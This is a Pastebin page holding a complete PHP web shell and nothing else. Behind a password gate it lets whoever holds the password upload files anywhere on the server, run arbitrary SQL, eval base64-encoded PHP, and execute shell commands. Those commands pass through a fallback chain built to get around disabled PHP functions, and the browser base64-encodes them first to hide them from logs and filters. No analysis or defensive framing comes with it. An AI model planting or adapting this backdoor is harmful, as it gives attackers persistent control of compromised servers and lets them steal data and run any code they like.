Advertisement
quark_zju

Untitled

Feb 24th, 2012
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.13 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ERROR | E_WARNING | E_PARSE);
  3. ini_set('display_errors', "0");
  4.  
  5. if ($_POST["p"] != "") {
  6.     $_COOKIE["p"] = $_POST["p"];
  7.     setcookie("p", $_POST["p"], time() + 3600);
  8. }
  9.  
  10. if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") {
  11.     echo "<form method=post>";
  12.     echo "<input type=text name=p value='' size=50>";
  13.     echo "<input type=submit name=B_SUBMIT value='Check'>";
  14.     echo "</form>";
  15.     exit;
  16. }
  17.  
  18. if ($_POST["action"] == "upload") {
  19.  
  20.     $l=$_FILES["filepath"]["tmp_name"];
  21.     $newpath=$_POST["newpath"];
  22.     if ($newpath!="") move_uploaded_file($l,$newpath);
  23.     echo "done";
  24.  
  25. } else if ($_POST["action"] == "sql") {
  26.  
  27.     $query = $_POST["query"];
  28.     $query = str_replace("\'","'",$query);
  29.     $lnk = mysql_connect($_POST["server"], $_POST["user"], $_POST["pass"]) or die ('Not connected : ' . mysql_error());
  30.     mysql_select_db($_POST["db"], $lnk) or die ('Db failed: ' . mysql_error());
  31.     mysql_query($query, $lnk) or die ('Invalid query: ' . mysql_error());
  32.     mysql_close($lnk);
  33.     echo "done<br><pre>$query</pre>";
  34.  
  35. } else if ($_POST["action"] == "runphp") {
  36.  
  37.     eval(base64_decode($_POST["cmd"]));
  38.  
  39. } else {
  40.  
  41.     $disablefunc = @ini_get("disable_functions");
  42.     if (!empty($disablefunc)) {
  43.         $disablefunc = str_replace(" ","",$disablefunc);
  44.         $disablefunc = explode(",",$disablefunc);
  45.     } else $disablefunc = array();
  46.  
  47.     function myshellexec($cmd) {
  48.         global $disablefunc;
  49.         $result = "";
  50.         if (!empty($cmd)) {
  51.             if (is_callable("exec") and !@in_array("exec",$disablefunc)) {@exec($cmd,$result); $result = @join("\n",$result);}
  52.             elseif (($result = `$cmd`) !== FALSE) {}
  53.             elseif (is_callable("system") and !@in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  54.             elseif (is_callable("passthru") and !@in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  55.             elseif (is_resource($fp = @popen($cmd,"r"))) {
  56.                 $result = "";
  57.                 while(!feof($fp)) {$result .= @fread($fp,1024);}
  58.                 @pclose($fp);
  59.             }
  60.         }
  61.         return $result;
  62.     }
  63.     $cmd = stripslashes($_POST["cmd"]);
  64.     $cmd_enc = stripslashes($_POST["cmd_enc"]);
  65.     if ($_POST["enc"]==1){
  66.         $cmd=base64_decode($cmd_enc);
  67.     }
  68.     ?>
  69. <script language=javascript type="text/javascript">
  70. <!--
  71. var END_OF_INPUT = -1;
  72. var base64Chars = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/');
  73. var reverseBase64Chars = new Array();
  74. for (var i=0; i < base64Chars.length; i++){
  75.     reverseBase64Chars[base64Chars[i]] = i;
  76. }
  77. var base64Str;
  78. var base64Count;
  79. function setBase64Str(str){
  80.     base64Str = str;
  81.     base64Count = 0;
  82. }
  83. function readBase64(){    
  84.     if (!base64Str) return END_OF_INPUT;
  85.     if (base64Count >= base64Str.length) return END_OF_INPUT;
  86.     var c = base64Str.charCodeAt(base64Count) & 0xff;
  87.     base64Count++;
  88.     return c;
  89. }
  90. function encodeBase64(str){
  91.     setBase64Str(str);
  92.     var result = '';
  93.     var inBuffer = new Array(3);
  94.     var lineCount = 0;
  95.     var done = false;
  96.     while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
  97.         inBuffer[1] = readBase64();
  98.         inBuffer[2] = readBase64();
  99.         result += (base64Chars[ inBuffer[0] >> 2 ]);
  100.         if (inBuffer[1] != END_OF_INPUT){
  101.             result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
  102.             if (inBuffer[2] != END_OF_INPUT){
  103.                 result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
  104.                 result += (base64Chars [inBuffer[2] & 0x3F]);
  105.             } else {
  106.                 result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
  107.                 result += ('=');
  108.                 done = true;
  109.             }
  110.         } else {
  111.             result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
  112.             result += ('=');
  113.             result += ('=');
  114.             done = true;
  115.         }
  116.         lineCount += 4;
  117.         if (lineCount >= 76){
  118.             result += ('\n');
  119.             lineCount = 0;
  120.         }
  121.     }
  122.     return result;
  123. }
  124. function encodeIt(f){
  125.     l=encodeBase64(f.cmd.value);
  126.     f.cmd_enc.value=l;
  127.     f.cmd.value="";
  128.     f.enc.value=1;
  129.     f.submit();
  130. }
  131. //--></script>
  132.     <?
  133.    
  134.     echo "<form method=post action='' onSubmit='encodeIt(this);return false;'>";
  135.     echo "<input type=text name=cmd value=\"".str_replace("\"","&quot;",$cmd)."\" size=150>";
  136.     echo "<input type=hidden name=enc value='0'>";
  137.     echo "<input type=hidden name=cmd_enc value=''>";
  138.     echo "<input type=submit name=B_SUBMIT value='Go'>";
  139.     echo "</form>";
  140.     if ($cmd != "") {
  141.         echo "<pre>";
  142.         $cmd=stripslashes($cmd);
  143.         echo "Executing $cmd \n";
  144.         echo myshellexec("$cmd");
  145.         echo "</pre>";
  146.         exit;
  147.     }
  148. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement